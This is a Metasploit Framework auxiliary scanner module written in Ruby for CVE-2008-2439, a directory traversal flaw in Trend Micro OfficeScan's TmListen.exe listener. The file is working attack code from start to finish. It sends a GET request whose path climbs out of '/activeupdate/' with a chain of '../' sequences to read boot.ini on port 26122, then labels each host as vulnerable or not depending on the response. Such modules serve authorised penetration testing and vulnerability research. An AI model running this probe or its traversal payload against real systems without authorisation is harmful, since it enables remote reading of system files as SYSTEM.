##
# $Id: tmlisten_traversal.rb 9627 2010-06-25 20:53:12Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient
	include Msf::Auxiliary::Scanner

	def initialize
		super(
			'Name'        => 'TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access',
			'Version'     => '$Revision: 9627 $',
			'Description' => %q{
					This module tests for directory traversal vulnerability in the UpdateAgent
				function in the OfficeScanNT Listener (TmListen.exe) service in Trend Micro
				OfficeScan. This allows remote attackers to read arbitrary files as SYSTEM
				via dot dot sequences in an HTTP request.
			},
			'References'  =>
				[
					[ 'OSVDB', '48730' ],
					[ 'CVE', '2008-2439' ],
					[ 'BID', '31531' ],
					[ 'URL', 'http://www.trendmicro.com/ftp/documentation/readme/OSCE_7.3_Win_EN_CriticalPatch_B1372_Readme.txt' ],
				],
			'Author'      => [ 'Anshul Pandey <anshul999@gmail.com>', 'patrick' ],
			'License'     => MSF_LICENSE
		)

		register_options(
			[
				Opt::RPORT(26122),
			], self.class)
	end

	def run_host(target_host)

		res = send_request_raw(
			{
				'uri'     => '/activeupdate/../../../../../../../../../../../boot.ini',
				'method'  => 'GET',
			}, 20)

		http_fingerprint({ :response => res })

		if (res.code >= 200)
			if (res.body =~ /boot/)
				vuln = "vulnerable."
			else
				vuln = "not vulnerable."
			end
			if (res.headers['Server'])
				print_status("http://#{target_host}:#{rport} is running #{res.headers['Server']} and is #{vuln}")
			end
		end
	end
end
